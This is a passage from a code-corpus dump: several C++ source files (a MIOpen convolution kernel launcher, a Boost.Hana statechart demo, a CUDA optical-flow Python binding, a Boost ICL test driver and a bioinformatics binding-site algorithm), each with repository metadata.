std::tie(stride_n, stride_k) = tie_pick<0, 1>()(dyDesc.GetStrides());\n    std::string program_name = \"MIOpenConvBwdBias.cl\";\n    std::string kernel_name  = \"MIOpenConvBwdB\";\n\n    std::string params;\n    std::size_t lcl_grp_size0 = 256;\n    std::size_t lcl_grp_size1 = 1;\n    std::size_t local_mem_sz  = 256;\n\n    std::size_t map_size = std::accumulate(dyDesc.GetLengths().begin() + 2,\n                                           dyDesc.GetLengths().end(),\n                                           std::size_t(1),\n                                           std::multiplies<std::size_t>());\n    std::size_t read_unit        = 4;\n    std::size_t map_size_aligned = (map_size + (read_unit - 1)) / read_unit;\n    std::size_t off_pix          = map_size - (map_size / read_unit) * read_unit;\n\n    params = \" -DMLO_CONVBWD_GROUP_SZ0=\" + std::to_string(lcl_grp_size0);\n    params += \" -DMLO_CONVBWD_GROUP_SZ1=\" + std::to_string(lcl_grp_size1);\n    params += \" -DMLO_CONVBWDB_LCL_MEMSZ=\" + std::to_string(local_mem_sz);\n    params += \" -DMLO_CONVBWDB_UNITSIZE=\" + std::to_string(read_unit);\n    params += \" -DMLO_OUT_BATCH_SZ=\" + std::to_string(out_n);\n    params += \" -DMLO_OUT_CHANNEL_STRIDE=\" + std::to_string(stride_k);\n    params += \" -DMLO_OUT_BATCH_STRIDE=\" + std::to_string(stride_n);\n    params += \" -DMLO_WK_SIZE=\" + std::to_string(map_size_aligned);\n    params += \" -DMLO_N_PIX_OFF=\" + std::to_string(off_pix);\n\n    params += GetDataTypeKernelParams(dyDesc.GetType());\n\n    const std::vector<size_t> vld = {lcl_grp_size0, size_t{1}, size_t{1}};\n    const std::vector<size_t> vgd = {lcl_grp_size0, static_cast<size_t>(out_k), size_t{1}};\n\n    handle.AddKernel(\"miopenConvolutionBwdBias\", \"\", program_name, kernel_name, vld, vgd, params)(\n        dy, db);\n\n    if(miopen::CheckNumericsEnabled())\n    {\n        miopen::checkNumericsOutput(handle, dbDesc, db);\n    }\n}\n\n} // namespace miopen\n", "meta": {"hexsha": "a7bf042189721aac35b7d9a64b087a40aae8c9a4", "size": 215512, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "src/ocl/convolutionocl.cpp", "max_stars_repo_name": "jane-zxy/MIOpen", "max_stars_repo_head_hexsha": "da79ca10acb669fd745f5fa65bb24735c54f33ff", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/ocl/convolutionocl.cpp", "max_issues_repo_name": "jane-zxy/MIOpen", "max_issues_repo_head_hexsha": "da79ca10acb669fd745f5fa65bb24735c54f33ff", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/ocl/convolutionocl.cpp", "max_forks_repo_name": "jane-zxy/MIOpen", "max_forks_repo_head_hexsha": "da79ca10acb669fd745f5fa65bb24735c54f33ff", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 43.7055364024, "max_line_length": 138, "alphanum_fraction": 0.4731755076, "num_tokens": 43228, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5078118642792044, "lm_q2_score": 0.2658804730998169, "lm_q1q2_score": 0.13501725872025488}}
{"text": "#define BOOST_HANA_CONFIG_ENABLE_STRING_UDL\n#define USCXML_VERBOSE\n\n#include \"state_machine.h\"\n#include <cstring>\n#include <cstdio>\n#include <functional>\n#include <boost/hana/string.hpp>\n#include \"MPDEF_DIRECTIVE.hpp\"\n\nnamespace mountel {\n    MPDEF_DIRECTIVE(State)\n    MPDEF_DIRECTIVE(ParallelState)\n    MPDEF_DIRECTIVE(Transition)\n    MPDEF_DIRECTIVE_LEAF(Name)\n    MPDEF_DIRECTIVE_LEAF(Action)\n    MPDEF_DIRECTIVE_LEAF(OnEnter)\n    MPDEF_DIRECTIVE_LEAF(OnExit)\n    MPDEF_DIRECTIVE_LEAF(Guard)\n    MPDEF_DIRECTIVE_LEAF(Initial)\n    MPDEF_DIRECTIVE_LEAF(Target)\n    MPDEF_DIRECTIVE_LIST(States)\n    MPDEF_DIRECTIVE_TYPE(Event)\n\n    constexpr auto statechart_elements = boost::hana::make_tuple(\n        tag::State,\n        tag::ParallelState,\n        tag::Transition,\n        tag::Name,\n        tag::Action,\n        tag::OnEnter,\n        tag::OnExit,\n        tag::Guard,\n        tag::Initial,\n        tag::Target,\n        tag::States,\n        tag::Event\n    );\n\n    template <typename Context>\n    struct StateMachineLocals {\n        Context& context;\n        const double time;\n\n        template <typename Event>\n        void send(const Event& event);\n\n        template <typename State>\n        bool active(const State& state) const;\n\n        bool after(double time) const;\n    };\n\n    // Num states\n\n    struct count_tags_impl {\n        template <typename T, typename Tags>\n        constexpr auto operator()(T& t, Tags tags) const;\n\n        constexpr auto operator()(...) const { return 0; }\n\n        template <typename First, typename Second, typename Tags>\n        constexpr auto operator()(mpdef::tree_node<First, Second> const node, Tags tags) const {\n            using namespace boost::hana;\n            using namespace boost::hana::literals;\n            const auto states = find(node.second, tag::States);\n\n            return if_(first(node) ^in^ tags, size_c<1>, size_c<0>)\n            + count_if(keys(node.second), [&] (auto elem) { return elem ^in^ tags; }) \n            + maybe(\n                size_c<0>,\n                [&] (auto& states) {\n                    return fold_right(states, size_c<0>, [&] (auto& elem, auto sum) { return sum + this->operator()(elem, tags); });\n                },\n                states\n            );\n        }\n    };\n\n    constexpr count_tags_impl count_tags{};\n\n    template <typename T>\n    constexpr auto num_states(T& t) {\n        using namespace boost::hana;\n        return count_tags(t, make_tuple(tag::State, tag::ParallelState));\n    }\n\n    template <typename T>\n    constexpr auto num_transitions(T& t) {\n        using namespace boost::hana;\n        return count_tags(t, make_tuple(tag::Transition));\n    }\n\n    struct num_states_bytes_impl {\n        template <typename T>\n        constexpr auto operator()(T& t) const {\n            using namespace boost::hana;\n            return (num_states(t) + size_c<7>) / size_c<8>;\n        }\n    };\n\n    constexpr num_states_bytes_impl num_states_bytes{};\n\n    struct num_transitions_bytes_impl {\n        template <typename T>\n        constexpr auto operator()(T& t) const {\n            using namespace boost::hana;\n            return (num_transitions(t) + size_c<7>) / size_c<8>;\n        }\n    };\n\n    constexpr num_transitions_bytes_impl num_transitions_bytes{};\n\n    // Validate state chart\n\n    struct validate_state_chart_impl {\n        template <typename T>\n        constexpr auto operator()(T& t) const {\n            using namespace boost::hana;\n            using namespace boost::hana::literals;\n            const auto less_than_256_states = num_states(t) < size_c<256>;\n            static_assert(less_than_256_states, \"State chart must have less than 256 states\");\n\n            return true_c;\n        }\n    };\n\n    constexpr validate_state_chart_impl validate_state_chart{};\n}\n\nnamespace example {\n    using namespace mountel;\n    using namespace boost::hana::literals;\n    // Events\n\n    struct a {\n        int data = 0;\n    };\n    struct b { };\n    struct c { };\n\n    // State chart\n    BOOST_HANA_CONSTEXPR_STATELESS_LAMBDA auto state_chart = State(\n        Name(\"root\"_s),\n        Initial(\"A\"_s),\n        States(\n            State(\n                Name(\"A\"_s),\n                Transition(\n                    Event<b>,\n                    Target(\"B\"_s),\n                    Action([] { std::puts(\"A -> B\"); })\n                )\n            ),\n            State(\n                Name(\"B\"_s),\n                OnEnter(\n                    [] (auto&& locals ) {\n                        std::puts(\"Entered B\");\n                        locals.send(c{});\n                    }\n                ),\n                Transition(\n                    Event<c>,\n                    Target(\"C\"_s)\n                ),\n                OnExit([] { std::puts(\"Leaving C\"); })\n            ),\n            ParallelState(\n                Name(\"C\"_s),\n                States(\n                    State(\n                        Name(\"C1\"_s),\n                        Transition(\n                            Event<a>,\n                            Target(\"A\"_s),\n                            Guard(\n                                [] (const auto&& locals, a a_) {\n                                    return locals.active(\"C2\") && a_.data;\n                                }\n                            )\n                        )\n                    ),\n                    State(\n                        Name(\"C2\"_s)\n                    )\n                )\n            )\n        )\n    );\n\n    BOOST_HANA_CONSTEXPR_STATELESS_LAMBDA auto statechart_simple = State(\n        Name(\"root\"_s),\n        Transition(\n            Event<a>\n        )\n    );\n}\n\nstruct event_t {\n    const char* name;\n};\n\nstatic event_t event[1] = {{\"hello\"}};\n\nint main() {\n    using namespace mountel;\n    using namespace example;\n    using namespace boost;\n\n    BOOST_HANA_CONSTEXPR_LAMBDA auto name = hana::find(state_chart, tag::Name);\n    static_assert(name != hana::nothing, \"Root state machine must have a name\");\n\n    BOOST_HANA_CONSTEXPR_LAMBDA auto states = hana::find(state_chart, tag::States);\n    static_assert(states != hana::nothing, \"Couldn't find states\");\n\n    BOOST_HANA_CONSTEXPR_LAMBDA auto first_state = hana::find_if(states.value(), [] (auto x) {\n        return hana::first(x) == tag::State;\n    });\n    static_assert(first_state != hana::nothing, \"Couldn't find first state\");\n    \n    BOOST_HANA_CONSTEXPR_LAMBDA auto transition = hana::find(first_state.value(), tag::Transition);\n    static_assert(transition != hana::nothing, \"No transition found\");\n\n    BOOST_HANA_CONSTEXPR_LAMBDA auto action = hana::find(transition.value(), tag::Action);\n    static_assert(action != hana::nothing, \"No action found\");\n\n    action.value()();\n\n    BOOST_HANA_CONSTANT_ASSERT(validate_state_chart(state_chart));\n\n    std::printf(\"Num states: %lu\\n\", hana::value(num_states(state_chart)));\n    std::printf(\"Num transitions: %lu\\n\", hana::value(num_transitions(state_chart)));\n    std::printf(\"sizeof(state_chart): %lu\\n\", sizeof(state_chart));\n\n    std::printf(\"Num names: %lu\\n\", hana::value(count_tags(state_chart, boost::hana::make_tuple(tag::Name))));\n\n    using uscxml = USCXML<1, 1, std::deque>;\n\n    uscxml::uscxml_ctx ctx;\n    // memset(&ctx, 0, sizeof(ctx));\n    ctx.machine = &USCXML_MACHINE;\n\n    ctx.is_matched = [] (const uscxml::uscxml_ctx* ctx, const uscxml::uscxml_transition* transition, const void* event) -> int {\n        return strcmp(transition->event, ((const struct event_t*)event)->name) == 0;\n    };\n\n    int err = USCXML_ERR_OK;\n\n    while((err = uscxml_step(&ctx)) != USCXML_ERR_IDLE) {}\n    std::puts(\"idle\");\n    \n    event[0] = {\"b\"};\n    ctx.external_queue.push_back((void*)event);\n    while((err = uscxml_step(&ctx)) != USCXML_ERR_IDLE) {}\n\n    using f = std::function<void(int)>;\n    f a = [] (int i) { std::printf(\"hello %d\\n\", i); };\n    f b = [] (auto a) {\n        return [a] (int i) {\n            return a(i + 1);\n        };\n    }(a);\n\n    b(1);\n}", "meta": {"hexsha": "c2a1315e583201d6a7e505509a2616bc6fb751ac", "size": 7938, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "sm_impl.cpp", "max_stars_repo_name": "drorspei/chartsy", "max_stars_repo_head_hexsha": "0b38369497b88407eb725f8373162581a2576558", "max_stars_repo_licenses": ["BSL-1.0", "BSD-2-Clause", "MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "sm_impl.cpp", "max_issues_repo_name": "drorspei/chartsy", "max_issues_repo_head_hexsha": "0b38369497b88407eb725f8373162581a2576558", "max_issues_repo_licenses": ["BSL-1.0", "BSD-2-Clause", "MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "sm_impl.cpp", "max_forks_repo_name": "drorspei/chartsy", "max_forks_repo_head_hexsha": "0b38369497b88407eb725f8373162581a2576558", "max_forks_repo_licenses": ["BSL-1.0", "BSD-2-Clause", "MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 29.8421052632, "max_line_length": 132, "alphanum_fraction": 0.5539178634, "num_tokens": 1821, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5234203340678567, "lm_q2_score": 0.2568319970758679, "lm_q1q2_score": 0.13443108970876558}}
{"text": "#include <iostream>\n#include <boost/python.hpp>\n#include <Python.h>\n#include <vector>\n\n\n#include \"common.h\"\n#include \"opencv2/cudaarithm.hpp\"\n#include \"opencv2/cudaoptflow.hpp\"\n#include \"opencv2/cudacodec.hpp\"\n\n#include \"opencv2/video/tracking.hpp\"\n#include \"opencv2/imgproc/imgproc.hpp\"\n#include \"opencv2/highgui/highgui.hpp\"\n#include \"opencv2/calib3d/calib3d.hpp\"\n#include \"opencv2/highgui/highgui.hpp\"\n#include \"opencv2/imgproc/imgproc.hpp\"\n#include \"opencv2/features2d/features2d.hpp\"\n#include \"opencv2/core/core.hpp\"\n#include \"opencv2/xfeatures2d.hpp\"\n\n#include \"warp_flow.h\"\n\nusing namespace cv::cuda;\nusing namespace cv;\n\nnamespace bp = boost::python;\n\nclass TVL1FlowExtractor{\npublic:\n\n    TVL1FlowExtractor(int bound){\n        alg_tvl1 = cuda::OpticalFlowDual_TVL1::create();\n        bound_ = bound;\n    }\n\n    static void set_device(int dev_id){\n        setDevice(dev_id);\n    }\n\n    bp::list extract_flow(bp::list frames, int img_width, int img_height){\n        bp::list output;\n        Mat input_frame, prev_frame, next_frame, prev_gray, next_gray;\n        Mat flow_x, flow_y;\n\n\n\n\n        // initialize the first frame\n        const char* first_data = ((const char*)bp::extract<const char*>(frames[0]));\n        input_frame = Mat(img_height, img_width, CV_8UC3);\n        initializeMats(input_frame, prev_frame, prev_gray, next_frame, next_gray);\n\n        memcpy(prev_frame.data, first_data, bp::len(frames[0]));\n        cvtColor(prev_frame, prev_gray, CV_BGR2GRAY);\n        for (int idx = 1; idx < bp::len(frames); idx++){\n            const char* this_data = ((const char*)bp::extract<const char*>(frames[idx]));\n            memcpy(next_frame.data, this_data, bp::len(frames[0]));\n            cvtColor(next_frame, next_gray, CV_BGR2GRAY);\n\n            d_frame_0.upload(prev_gray);\n            d_frame_1.upload(next_gray);\n\n            alg_tvl1->calc(d_frame_0, d_frame_1, d_flow);\n\n            GpuMat planes[2];\n            cuda::split(d_flow, planes);\n            planes[0].download(flow_x);\n            planes[1].download(flow_y);\n\n            std::vector<uchar> str_x, str_y;\n\n            encodeFlowMap(flow_x, flow_y, str_x, str_y, bound_, false);\n            output.append(\n                bp::make_tuple(\n                    bp::str((const char*) str_x.data(), str_x.size()),\n                    bp::str((const char*) str_y.data(), str_y.size())\n                    )\n            );\n\n            std::swap(prev_gray, next_gray);\n        }\n        return output;\n    };\nprivate:\n    int bound_;\n    GpuMat d_frame_0, d_frame_1;\n    GpuMat d_flow;\n    cv::Ptr<cuda::OpticalFlowDual_TVL1> alg_tvl1;\n};\n\n\n\nclass TVL1WarpFlowExtractor {\npublic:\n\n    TVL1WarpFlowExtractor(int bound) {\n        alg_tvl1 = cuda::OpticalFlowDual_TVL1::create();\n        detector_surf = xfeatures2d::SurfFeatureDetector::create(200);\n        extractor_surf = xfeatures2d::SurfDescriptorExtractor::create(true, true);\n        bound_ = bound;\n    }\n\n    static void set_device(int dev_id){\n        setDevice(dev_id);\n    }\n\n    bp::list extract_warp_flow(bp::list frames, int img_width, int img_height){\n        bp::list output;\n        Mat input_frame, prev_frame, next_frame, prev_gray, next_gray, human_mask;\n        Mat flow_x, flow_y;\n\n        // initialize the first frame\n        const char* first_data = ((const char*)bp::extract<const char*>(frames[0]));\n        input_frame = Mat(img_height, img_width, CV_8UC3);\n        initializeMats(input_frame, prev_frame, prev_gray, next_frame, next_gray);\n        human_mask = Mat::ones(input_frame.size(), CV_8UC1);\n\n        memcpy(prev_frame.data, first_data, bp::len(frames[0]));\n        cvtColor(prev_frame, prev_gray, CV_BGR2GRAY);\n        for (int idx = 1; idx < bp::len(frames); idx++){\n            const char* this_data = ((const char*)bp::extract<const char*>(frames[idx]));\n            memcpy(next_frame.data, this_data, bp::len(frames[0]));\n            cvtColor(next_frame, next_gray, CV_BGR2GRAY);\n\n            d_frame_0.upload(prev_gray);\n            d_frame_1.upload(next_gray);\n\n            alg_tvl1->calc(d_frame_0, d_frame_1, d_flow);\n\n            GpuMat planes[2];\n            cuda::split(d_flow, planes);\n            planes[0].download(flow_x);\n            planes[1].download(flow_y);\n\n            // warp to reduce holistic motion\n            detector_surf->detect(next_gray, kpts_surf, human_mask);\n            extractor_surf->compute(next_gray, kpts_surf, desc_surf);\n            ComputeMatch(prev_kpts_surf, kpts_surf, prev_desc_surf, desc_surf, prev_pts_surf, pts_surf);\n            MatchFromFlow_copy(next_gray, flow_x, flow_y, prev_pts_flow, pts_flow, human_mask);\n            MergeMatch(prev_pts_flow, pts_flow, prev_pts_surf, pts_surf, prev_pts_all, pts_all);\n            Mat H = Mat::eye(3, 3, CV_64FC1);\n            if(pts_all.size() > 50) {\n                std::vector<unsigned char> match_mask;\n                Mat temp = findHomography(prev_pts_all, pts_all, RANSAC, 1, match_mask);\n                if(cv::countNonZero(Mat(match_mask)) > 25)\n                    H = temp;\n            }\n\n            Mat H_inv = H.inv();\n            Mat gray_warp = Mat::zeros(next_gray.size(), CV_8UC1);\n            MyWarpPerspective(prev_gray, next_gray, gray_warp, H_inv);\n\n            d_frame_0.upload(prev_gray);\n            d_frame_1.upload(gray_warp);\n\n            alg_tvl1->calc(d_frame_0, d_frame_1, d_flow);\n\n            cuda::split(d_flow, planes);\n            planes[0].download(flow_x);\n            planes[1].download(flow_y);\n\n            std::vector<uchar> str_x, str_y;\n\n            encodeFlowMap(flow_x, flow_y, str_x, str_y, bound_, false);\n            output.append(\n                    bp::make_tuple(\n                            bp::str((const char*) str_x.data(), str_x.size()),\n                            bp::str((const char*) str_y.data(), str_y.size())\n                    )\n            );\n\n            std::swap(prev_gray, next_gray);\n        }\n        return output;\n    }\nprivate:\n    cv::Ptr<Feature2D> detector_surf;\n    cv::Ptr<Feature2D> extractor_surf;\n    std::vector<Point2f> prev_pts_flow, pts_flow;\n    std::vector<Point2f> prev_pts_surf, pts_surf;\n    std::vector<Point2f> prev_pts_all, pts_all;\n    std::vector<KeyPoint> prev_kpts_surf, kpts_surf;\n    Mat prev_desc_surf, desc_surf;\n\n    GpuMat d_frame_0, d_frame_1;\n    GpuMat d_flow;\n\n    cv::Ptr<cuda::OpticalFlowDual_TVL1> alg_tvl1;\n    int bound_;\n};\n\n\n//// Boost Python Related Decl\nBOOST_PYTHON_MODULE(libpydenseflow){\n    bp::class_<TVL1FlowExtractor>(\"TVL1FlowExtractor\", bp::init<int>())\n            .def(\"extract_flow\", &TVL1FlowExtractor::extract_flow)\n            .def(\"set_device\", &TVL1FlowExtractor::set_device)\n            .staticmethod(\"set_device\");\n    bp::class_<TVL1WarpFlowExtractor>(\"TVL1WarpFlowExtractor\", bp::init<int>())\n            .def(\"extract_warp_flow\", &TVL1WarpFlowExtractor::extract_warp_flow)\n            .def(\"set_device\", &TVL1WarpFlowExtractor::set_device)\n            .staticmethod(\"set_device\");\n}\n", "meta": {"hexsha": "9c7031067e47d967dc62d520009ed89a4e9b5c9b", "size": 6985, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "src/py_denseflow.cpp", "max_stars_repo_name": "gss-ucas/dense_flow-", "max_stars_repo_head_hexsha": "0421c2d4513344d27ed675645805c772f2a2dafb", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1.0, "max_stars_repo_stars_event_min_datetime": "2017-10-04T13:51:10.000Z", "max_stars_repo_stars_event_max_datetime": "2017-10-04T13:51:10.000Z", "max_issues_repo_path": "src/py_denseflow.cpp", "max_issues_repo_name": "gss-ucas/dense_flow-", "max_issues_repo_head_hexsha": "0421c2d4513344d27ed675645805c772f2a2dafb", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1.0, "max_issues_repo_issues_event_min_datetime": "2017-09-30T22:44:06.000Z", "max_issues_repo_issues_event_max_datetime": "2017-10-04T13:53:14.000Z", "max_forks_repo_path": "src/py_denseflow.cpp", "max_forks_repo_name": "gss-ucas/dense_flow", "max_forks_repo_head_hexsha": "0421c2d4513344d27ed675645805c772f2a2dafb", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 34.0731707317, "max_line_length": 104, "alphanum_fraction": 0.6217609162, "num_tokens": 1780, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5039061705290805, "lm_q2_score": 0.2658804730998169, "lm_q1q2_score": 0.13397881101818893}}
{"text": "#include <boost/icl/closed_interval.hpp>\n#include <boost/icl/continuous_interval.hpp>\n#include <boost/icl/discrete_interval.hpp>\n#include <boost/icl/dynamic_interval_traits.hpp>\n#include <boost/icl/functors.hpp>\n#include <boost/icl/gregorian.hpp>\n#include <boost/icl/impl_config.hpp>\n#include <boost/icl/interval_base_set.hpp>\n#include <boost/icl/interval_bounds.hpp>\n#include <boost/icl/interval_combining_style.hpp>\n#include <boost/icl/interval.hpp>\n#include <boost/icl/interval_map.hpp>\n#include <boost/icl/interval_set.hpp>\n#include <boost/icl/interval_traits.hpp>\n#include <boost/icl/iterator.hpp>\n#include <boost/icl/left_open_interval.hpp>\n#include <boost/icl/map.hpp>\n#include <boost/icl/open_interval.hpp>\n#include <boost/icl/ptime.hpp>\n#include <boost/icl/rational.hpp>\n#include <boost/icl/right_open_interval.hpp>\n#include <boost/icl/separate_interval_set.hpp>\n#include <boost/icl/set.hpp>\n#include <boost/icl/split_interval_map.hpp>\n#include <boost/icl/split_interval_set.hpp>\n\nint\nmain ()\n{\n  return 0;\n}\n", "meta": {"hexsha": "bc71f95b982dfdd51302e945555f5ece4aec3375", "size": 1018, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "libboost-icl/tests/basics/driver.cpp", "max_stars_repo_name": "build2-packaging/boost", "max_stars_repo_head_hexsha": "203d505dd3ba04ea50785bc8b247a295db5fc718", "max_stars_repo_licenses": ["BSL-1.0"], "max_stars_count": 4.0, "max_stars_repo_stars_event_min_datetime": "2021-02-23T11:24:33.000Z", "max_stars_repo_stars_event_max_datetime": "2021-09-11T20:10:46.000Z", "max_issues_repo_path": "libboost-icl/tests/basics/driver.cpp", "max_issues_repo_name": "build2-packaging/boost", "max_issues_repo_head_hexsha": "203d505dd3ba04ea50785bc8b247a295db5fc718", "max_issues_repo_licenses": ["BSL-1.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "libboost-icl/tests/basics/driver.cpp", "max_forks_repo_name": "build2-packaging/boost", "max_forks_repo_head_hexsha": "203d505dd3ba04ea50785bc8b247a295db5fc718", "max_forks_repo_licenses": ["BSL-1.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 31.8125, "max_line_length": 49, "alphanum_fraction": 0.7888015717, "num_tokens": 259, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5851011542032312, "lm_q2_score": 0.22815650740914753, "lm_q1q2_score": 0.13349463582407028}}
{"text": "/* Copyright John Reid 2007\n*/\n\n#include \"bio-pch.h\"\n\n\n#include \"bio/defs.h\"\n\n#include \"bio/bifa_algorithm.h\"\n#include \"bio/bifa_test_case.h\"\n#include \"bio/run_match.h\"\n#include \"bio/adjust_hits.h\"\n#include \"bio/biobase_binding_model.h\"\n#include \"bio/match_binding_model.h\"\n#include \"bio/biobase_score.h\"\n\n#include <boost/iterator/filter_iterator.hpp>\n#include <boost/iterator/transform_iterator.hpp>\n\n#include <gsl/gsl_sf_pow_int.h>\n\n#include <iostream>\n\n\n\nBIO_NS_START\n\n\n\nBiFaInput::BiFaInput( const seq_t & centre_sequence )\n: centre_sequence( centre_sequence )\n{\n}\n\n\nBiFaAlgorithm::~BiFaAlgorithm() { }\n\n\nBiFaAlgorithm::ptr_t\nBiFaAlgorithm::get_default_algorithm()\n{\n\tstatic BiFaAlgorithm::ptr_t default_algorithm;\n\n\tif( ! default_algorithm )\n\t{\n\t\tdefault_algorithm.reset( new TransfacBiFaAlgorithm( PssmMatchArgs(), true ) );\n\t}\n\n\treturn default_algorithm;\n}\n\nTransfacBiFaAlgorithm::TransfacBiFaAlgorithm(\n\tconst PssmMatchArgs & args,\n\tbool adjust_phylo,\n\tbool verbose)\n: verbose( verbose )\n, adjust_phylo( adjust_phylo )\n, args( args )\n{\n}\n\n\nTransfacBiFaAlgorithm::~TransfacBiFaAlgorithm() { }\n\n\nstd::string\nTransfacBiFaAlgorithm::get_name() const\n{\n\treturn\n\t\tBIO_MAKE_STRING(\n\t\t\t\"BiFa-\"\n\t\t\t<< ( adjust_phylo ? \"phylo\" : \"no phylo\" )\n\t\t\t<< \"-\"\n\t\t\t<< ( args.use_bayesian ? \"bayesian\" : \"not bayesian\" )\n\t\t\t<< \"-\"\n\t\t\t<< ( args.use_or_better ? \"or better\" : \"equal\" )\n\t\t\t<< \"-\"\n\t\t\t<< args.threshold\n\t\t\t);\n}\n\n\nBindingModel *\nTransfacBiFaAlgorithm::get_model_for( const boost::any & key )\n{\n\treturn Link2BiobaseBindingModel( BioEnvironment::singleton().get_tf_binding_prior(), args.use_or_better )( boost::any_cast< TableLink >( key ) );\n}\n\nvoid\nTransfacBiFaAlgorithm::fill_model_universe( BindingModel::set_t & universe )\n{\n\ttransform_biobase_sites_and_matrices(\n\t\targs.get_filter(),\n\t\tLink2BiobaseBindingModel( BioEnvironment::singleton().get_tf_binding_prior(), args.use_or_better ),\n\t\tstd::inserter( universe, universe.begin() ) );\n}\n\n\nBiFaOutput::ptr_t\nTransfacBiFaAlgorithm::operator()(const BiFaInput & input)\n{\n\tBiFaOutput::ptr_t result(new BiFaOutput);\n\n\t//score the sites and matrices\n\tscore_all_biobase_pssms(\n\t\tmake_sequence_scorer(\n\t\t\tinput.centre_sequence.begin(),\n\t\t\tinput.centre_sequence.end(),\n\t\t\targs.threshold,\n\t\t\tstd::inserter( result->hits, result->hits.begin() )\n\t\t),\n\t\targs.get_filter(),\n\t\tLink2BiobaseBindingModel( BioEnvironment::singleton().get_tf_binding_prior(), args.use_or_better )\n\t);\n\n\tif ( verbose )\n\t{\n\t\tstd::cout << result->hits.size() << \" matches over threshold\\n\";\n\t}\n\n\t//are we making adjustments for the phylogenetic sequences\n\tif ( adjust_phylo )\n\t{\n\t\t//raise the threshold to the power of the number of sequences\n\t\tconst float_t phylo_threshold = float_t( gsl_sf_pow_int( args.threshold, input.conserved_sequences.size() + 1 ) );\n\n\t\tadjust_hits(\n\t\t\tresult->hits,\n\t\t\tinput.conserved_sequences,\n\t\t\tphylo_threshold);\n\n\t\tif ( verbose )\n\t\t{\n\t\t\tstd::cout\n\t\t\t\t<< \"Adjusted for \" << input.conserved_sequences.size()\n\t\t\t\t<< \" sequences, still have \"\n\t\t\t\t<< std::count_if(\n\t\t\t\t\tresult->hits.begin(),\n\t\t\t\t\tresult->hits.end(),\n\t\t\t\t\tboost::bind(\n\t\t\t\t\t\tstd::greater< double >(),\n\t\t\t\t\t\tboost::bind(\n\t\t\t\t\t\t\t&BindingModel::hit_t::get_p_binding,\n\t\t\t\t\t\t\t_1 ),\n\t\t\t\t\t\tphylo_threshold ) )\n\t\t\t\t<< \" hits above the threshold\\n\";\n\t\t}\n\t}\n\n\treturn result;\n}\n\n\n\nstd::string\nMatchBiFaAlgorithm::get_name() const\n{\n\treturn \"Match\";\n}\n\n\nstruct MatchMapFilter\n{\n\tbool operator()( const TableLink & link ) const\n\t{\n\t\treturn get_min_fp_match_map().find( link ) != get_min_fp_match_map().end();\n\t}\n\n\tbool operator()( Matrix::map_t::value_type matrix ) const\n\t{\n\t\treturn ( *this )( matrix.first );\n\t}\n\n\tbool operator()( Site::map_t::value_type site ) const\n\t{\n\t\treturn false;\n\t}\n};\n\nBindingModel *\nMatchBiFaAlgorithm::get_model_for( const boost::any & key )\n{\n\tconst TableLink & link = boost::any_cast< const TableLink & >( key );\n\n\treturn\n\t\tMatchMapFilter()( link )\n\t\t\t? Link2MatchBindingModel()( link )\n\t\t\t: 0\n\t\t\t;\n}\n\nvoid\nMatchBiFaAlgorithm::fill_model_universe( BindingModel::set_t & universe )\n{\n\ttransform_biobase_sites_and_matrices(\n\t\tMatchMapFilter(),\n\t\tLink2MatchBindingModel(),\n\t\tstd::inserter( universe, universe.begin() ) );\n}\n\n\nBiFaOutput::ptr_t\nMatchBiFaAlgorithm::operator()(const BiFaInput & input)\n{\n\tBiFaOutput::ptr_t result(new BiFaOutput);\n\n\t//score the sites and matrices\n\tscore_all_biobase_pssms(\n\t\tmake_sequence_scorer(\n\t\t\tinput.centre_sequence.begin(),\n\t\t\tinput.centre_sequence.end(),\n\t\t\t0.5,\t\t\t\t\t// our hits for match algorithm are 0 or 1 so 0.5 is a good enough threshold\n\t\t\tstd::inserter( result->hits, result->hits.begin() )\n\t\t),\n\t\tMatchMapFilter(),\n\t\tLink2MatchBindingModel()\n\t);\n\n\treturn result;\n}\n\n\n\n\n\nROCPoint::ROCPoint( double specificity, double sensitivity )\n\t: specificity( specificity )\n\t, sensitivity( sensitivity )\n{\n}\n\n\nstd::ostream &\noperator<<( std::ostream & os, const ROCPoint & roc_point )\n{\n\tos << \"(\" << roc_point.specificity << \",\" << roc_point.sensitivity << \")\";\n\treturn os;\n}\n\nBinaryTestResults::BinaryTestResults(\n\tunsigned true_positives,\n\tunsigned false_positives,\n\tunsigned true_negatives,\n\tunsigned false_negatives)\n\t: true_positives( true_positives )\n\t, false_positives( false_positives )\n\t, true_negatives( true_negatives )\n\t, false_negatives( false_negatives )\n{\n}\n\n\n\nBinaryTestResults &\nBinaryTestResults::operator+=( const BinaryTestResults & rhs )\n{\n\ttrue_positives += 